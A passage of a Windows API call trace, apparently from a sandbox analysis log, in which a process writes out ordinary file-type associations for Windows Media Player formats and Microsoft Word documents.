_Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.M3U=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n") returned 100 [0101.970] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.970] GetFileType (hFile=0x5c) returned 0x3 [0101.970] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.970] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.M3U=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.M3U=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 101 [0101.970] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x64, lpOverlapped=0x0) returned 1 [0101.970] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.M4A=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n") returned 100 [0101.970] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.970] GetFileType (hFile=0x5c) returned 0x3 [0101.971] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.M4A=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.M4A=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 101 [0101.971] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x64, lpOverlapped=0x0) returned 1 [0101.971] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.MIDI=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n") returned 89 [0101.971] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.971] GetFileType (hFile=0x5c) returned 0x3 [0101.971] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.MIDI=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.MIDI=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 90 [0101.971] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x59, lpOverlapped=0x0) returned 1 [0101.971] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.MOV=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n") returned 100 [0101.971] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.971] GetFileType (hFile=0x5c) returned 0x3 [0101.971] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.972] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.MOV=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.MOV=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 101 [0101.972] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x64, lpOverlapped=0x0) returned 1 [0101.980] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.MP3=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n") returned 100 [0101.980] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.980] GetFileType (hFile=0x5c) returned 0x3 [0101.980] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.MP3=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.MP3=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 101 [0101.980] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x64, lpOverlapped=0x0) returned 1 [0101.980] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.MP4=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n") returned 100 [0101.980] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.980] GetFileType (hFile=0x5c) returned 0x3 [0101.980] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.MP4=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.MP4=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:6 /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 101 [0101.980] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x64, lpOverlapped=0x0) returned 1 [0101.981] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.MPEG=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:9 /Open \"%L\"\r\n") returned 101 [0101.981] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.981] GetFileType (hFile=0x5c) returned 0x3 [0101.981] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.MPEG=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:9 /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.MPEG=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:9 /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 102 [0101.981] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x65, lpOverlapped=0x0) returned 1 [0101.981] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.TTS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:12 /Open \"%L\"\r\n") returned 101 [0101.981] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.981] GetFileType (hFile=0x5c) returned 0x3 [0101.981] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.TTS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:12 /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.TTS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:12 /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 102 [0101.981] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x65, lpOverlapped=0x0) returned 1 [0101.982] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.WAV=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n") returned 88 [0101.982] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.982] GetFileType (hFile=0x5c) returned 0x3 [0101.982] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.WAV=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.WAV=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 89 [0101.982] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x58, lpOverlapped=0x0) returned 1 [0101.982] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.WAX=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n") returned 88 [0101.982] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.982] GetFileType (hFile=0x5c) returned 0x3 [0101.982] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.WAX=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.WAX=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 89 [0101.982] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x58, lpOverlapped=0x0) returned 1 [0101.982] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.wma=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:5 /Open \"%L\"\r\n") returned 100 [0101.982] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.982] GetFileType (hFile=0x5c) returned 0x3 [0101.983] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.wma=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:5 /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.wma=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:5 /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 101 [0101.983] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x64, lpOverlapped=0x0) returned 1 [0101.983] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.WMD=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /WMPackage:\"%L\"\r\n") returned 93 [0101.983] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.983] GetFileType (hFile=0x5c) returned 0x3 [0101.983] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.WMD=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /WMPackage:\"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.WMD=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /WMPackage:\"%L\"\r\n", lpUsedDefaultChar=0x0) returned 94 [0101.983] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5d, lpOverlapped=0x0) returned 1 [0101.983] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.WMS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /layout:\"%L\"\r\n") returned 90 [0101.983] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.983] GetFileType (hFile=0x5c) returned 0x3 [0101.983] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.WMS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /layout:\"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.WMS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /layout:\"%L\"\r\n", lpUsedDefaultChar=0x0) returned 91 [0101.983] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5a, lpOverlapped=0x0) returned 1 [0101.984] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.WMV=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:7 /Open \"%L\"\r\n") returned 100 [0101.984] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.984] GetFileType (hFile=0x5c) returned 0x3 [0101.984] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.WMV=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:7 /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.WMV=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /prefetch:7 /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 101 [0101.984] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x64, lpOverlapped=0x0) returned 1 [0101.984] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.WMZ=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /layout:\"%L\"\r\n") returned 90 [0101.984] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.984] GetFileType (hFile=0x5c) returned 0x3 [0101.984] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.WMZ=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /layout:\"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.WMZ=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /layout:\"%L\"\r\n", lpUsedDefaultChar=0x0) returned 91 [0101.984] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5a, lpOverlapped=0x0) returned 1 [0101.985] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.WPL=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n") returned 88 [0101.985] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.985] GetFileType (hFile=0x5c) returned 0x3 [0101.985] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.WPL=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.WPL=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 89 [0101.985] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x58, lpOverlapped=0x0) returned 1 [0101.985] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocFile.WVX=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n") returned 88 [0101.985] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.985] GetFileType (hFile=0x5c) returned 0x3 [0101.985] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocFile.WVX=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocFile.WVX=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" /Open \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 89 [0101.985] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x58, lpOverlapped=0x0) returned 1 [0101.986] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WMP11.AssocProtocol.MMS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" \"%L\"\r\n") returned 86 [0101.986] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.986] GetFileType (hFile=0x5c) returned 0x3 [0101.986] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WMP11.AssocProtocol.MMS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMP11.AssocProtocol.MMS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 87 [0101.986] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x56, lpOverlapped=0x0) returned 1 [0101.986] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Word.Backup.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n") returned 93 [0101.986] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.987] GetFileType (hFile=0x5c) returned 0x3 [0101.987] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.987] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Word.Backup.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word.Backup.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 94 [0101.987] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5d, lpOverlapped=0x0) returned 1 [0101.987] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Word.Document.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n") returned 96 [0101.987] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.987] GetFileType (hFile=0x5c) returned 0x3 [0101.987] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.987] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Word.Document.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word.Document.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 97 [0101.987] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x60, lpOverlapped=0x0) returned 1 [0101.987] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Word.Document.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n") returned 95 [0101.987] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.987] GetFileType (hFile=0x5c) returned 0x3 [0101.988] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.988] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Word.Document.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word.Document.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 96 [0101.988] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5f, lpOverlapped=0x0) returned 1 [0101.988] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Word.DocumentMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n") returned 108 [0101.988] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.988] GetFileType (hFile=0x5c) returned 0x3 [0101.988] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.988] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Word.DocumentMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 